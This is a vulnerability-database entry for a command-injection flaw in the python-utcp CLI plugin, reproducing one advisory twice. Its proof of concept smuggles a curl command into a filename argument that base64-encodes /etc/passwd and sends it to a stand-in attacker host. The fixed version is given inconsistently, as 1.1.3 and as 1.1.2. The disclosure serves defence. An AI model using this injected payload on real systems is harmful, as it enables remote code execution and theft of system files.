CVE-2026-45369
highpriority · track · 0EPSS 0.003 · 25 %ileEUUSEPSS · scored 2026-10-28
python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 7.6–10
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-33p6-5jxp-p3x4utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol2026-05-14ghsa · osvUS
## Summary The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands. ## Affected File `plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py` ## Vulnerable Code ```python def replace_placeholder(match): arg_name = match.group(1) if arg_name in tool_args: return str(tool_args[arg_name]) # No escaping applied ``` The substituted command is then embedded directly into a shell script: ```python script_lines.append(f'{var_name}=$({substituted_command} 2>&1)') ``` And executed via: ```python shell_cmd = ['/bin/bash', '-c', script] ``` ## Proof of Concept Given a tool defined as: ```json {"command": "python script.py --input UTCP_ARG_filename_UTCP_END"} ``` Calling with: ```python tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"} ``` Produces and executes: ```bash CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1) ``` This results in full Remote Code Execution on the host system. ## Patched Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&`, backticks, `$()`, newlines). **Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now use one placeholder per intended argument. ## Mitigation Upgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`. ## Credit Reported by @ZeroXJacks.
- PYSEC-2026-560utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol2026-06-29vendor · osvUS
## Summary The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands. ## Affected File `plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py` ## Vulnerable Code ```python def replace_placeholder(match): arg_name = match.group(1) if arg_name in tool_args: return str(tool_args[arg_name]) # No escaping applied ``` The substituted command is then embedded directly into a shell script: ```python script_lines.append(f'{var_name}=$({substituted_command} 2>&1)') ``` And executed via: ```python shell_cmd = ['/bin/bash', '-c', script] ``` ## Proof of Concept Given a tool defined as: ```json {"command": "python script.py --input UTCP_ARG_filename_UTCP_END"} ``` Calling with: ```python tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"} ``` Produces and executes: ```bash CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1) ``` This results in full Remote Code Execution on the host system. ## Patched Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&`, backticks, `$()`, newlines). **Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now use one placeholder per intended argument. ## Mitigation Upgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`. ## Credit Reported by @ZeroXJacks.
also known as (6)
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sources
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references (5)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-45369cnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-45369cnnvd
- https://www.utcp.io/Patchcnnvd
- https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4enisa_euvd
- https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4nvd
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